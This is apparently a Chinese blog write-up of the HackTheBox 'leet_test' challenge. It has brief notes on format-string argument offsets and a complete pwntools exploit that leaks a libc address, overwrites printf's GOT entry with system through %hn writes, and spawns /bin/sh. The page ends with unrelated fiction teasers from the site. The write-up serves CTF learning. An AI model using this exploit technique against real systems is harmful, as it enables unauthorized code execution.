HTB leet_test

这道题很有意思,格式化漏洞利用,遗漏知识点

1.main的返回地址是__libc_start_main_ret(有些机器通过__libc_start_main获取不到libc地址)。

2.format string:printf(fmt,...)   如果不指定位置,如%x%p%d,从stack上第一个参数开始

%x%1$n%p%2$n%d,除了指定位置如%1$n,其他都是从stack上地一个参数开始。

%x =>1 param

%p=>2 param

%d=>3 param。

3.printf()函数,会在stack上放置fmt和vargs。

4.要想获取正确rbp,须得在后续函数调用中拿到,前须函数不一定正确,如本题main()->printf(),main push rbp可能是__libc_start_main中设置的垃圾数据。


#!/usr/bin/env python

# -*- coding: utf-8 -*-

# This exploit template was generated via:

# $ pwn template --host 167.99.88.212 --port 31369 space

from pwn import *

from pwnlib import libcdb

# Set up pwntools for the correct architecture

exe=ELF('/home/ccc/htb/trackers/leet_test')

context.binary=exe.path

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# ./exploit.py GDB HOST=example.com PORT=4141

host = args.HOST or '139.59.166.56'

port = int(args.PORT or 32606)

def local(argv=[], *a, **kw):

    '''Execute the target binary locally'''

    if args.GDB:

        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):

    '''Connect to the process on the remote host'''

    io = connect(host, port)

    if args.GDB:

        gdb.attach(io, gdbscript=gdbscript)

    return io

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.LOCAL:

        return local(argv, *a, **kw)

    else:

        return remote(argv, *a, **kw)


def get_libcstartmain_ret_addr():

    payload = "%47$lx"

    io.sendlineafter(b"name: ",payload)

    ret = io.recvline();

    ret=ret[7:-1]

    print(ret)

    __libc_start_main_ret=int(ret,16)

    print(hex(__libc_start_main_ret))

    return __libc_start_main_ret

def get_format_addr():

    payload = "%4$lx"

    io.sendlineafter(b"name: ",payload)

    ret = io.recvline();

    ret=ret[7:-1]

    print(ret)

    format_addr=int(ret,16)

    print(hex(format_addr))

    return format_addr

def set_printf_got_to_system():

    system_bytes=struct.pack(">Q",system_addr)

    system_bytes_0=system_bytes[2:4]

    system_bytes_2=system_bytes[4:6]

    system_bytes_4=system_bytes[6:]

    system_0=struct.unpack(">H", system_bytes_0)[0]

    system_2=struct.unpack(">H", system_bytes_2)[0]

    system_4=struct.unpack(">H", system_bytes_4)[0]


    offset = {system_0:20,system_2:19,system_4:18}


    li=sorted([system_0,system_2,system_4])

    min_v=li[0]

    mid_v=li[1]

    max_v=li[2]


    payload= b'/bin/sh;#      '


    #min bytes

    tmp=min_v-0x10

    tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')

    payload += tmp

    tmp=offset[min_v]

    tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')

    payload += tmp


    #mid bytes

    tmp=8 if mid_v-min_v<8 else mid_v-min_v

    tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')

    payload += tmp

    tmp=offset[mid_v]

    tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')

    payload += tmp


    #max bytes

    tmp=8 if max_v-mid_v<8 else max_v-mid_v

    tmp = b'%' + bytes(str(tmp)+'lx',encoding='ascii').rjust(7,b'0')

    payload += tmp

    tmp=offset[max_v]

    tmp = b'%' + bytes(str(tmp)+'$hn',encoding='ascii').rjust(7,b'0')

    payload += tmp   


    payload += p64(printf_got)

    payload += p64(printf_got_2)

    payload += p64(printf_got_4)

    print(payload)

    io.sendlineafter(b"name: ",payload)

    ret= io.recvline()

    print(ret)

    io.interactive()


    payload= b'/bin/sh;#      '

    io.sendlineafter(b"name: ",payload)

    io.interactive()


    print(ret)


# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

tbreak main

continue

'''.format(**locals())

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

# Arch:    i386-32-little

# RELRO:    No RELRO

# Stack:    No canary found

# NX:      NX disabled

# PIE:      No PIE (0x8048000)

# RWX:      Has RWX segments

io = start()

    # io = gdb.debug(exe.path ,gdbscript='''

    #                hbreak *0x4012CA

    #                hbreak *0x401374

    #              continue

    #                ''')

    #format_str_addr=get_format_addr()

    #

    # setRandomNumber()

    #set()


libc_start_main_addr=get_libcstartmain_ret_addr()

libc_start_main_offset=0x270b3

libc_addr=libc_start_main_addr-libc_start_main_offset

system_offset=0x55410

system_addr=libc_addr+system_offset

printf_got=0x404020

printf_got_2=0x404022

printf_got_4=0x404024

set_printf_got_to_system()

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 222,252评论 6 516
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,886评论 3 399
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 168,814评论 0 361
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,869评论 1 299
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,888评论 6 398
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,475评论 1 312
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 41,010评论 3 422
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,924评论 0 277
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,469评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,552评论 3 342
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,680评论 1 353
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,362评论 5 351
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 42,037评论 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,519评论 0 25
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,621评论 1 274
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 49,099评论 3 378
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,691评论 2 361

推荐阅读更多精彩内容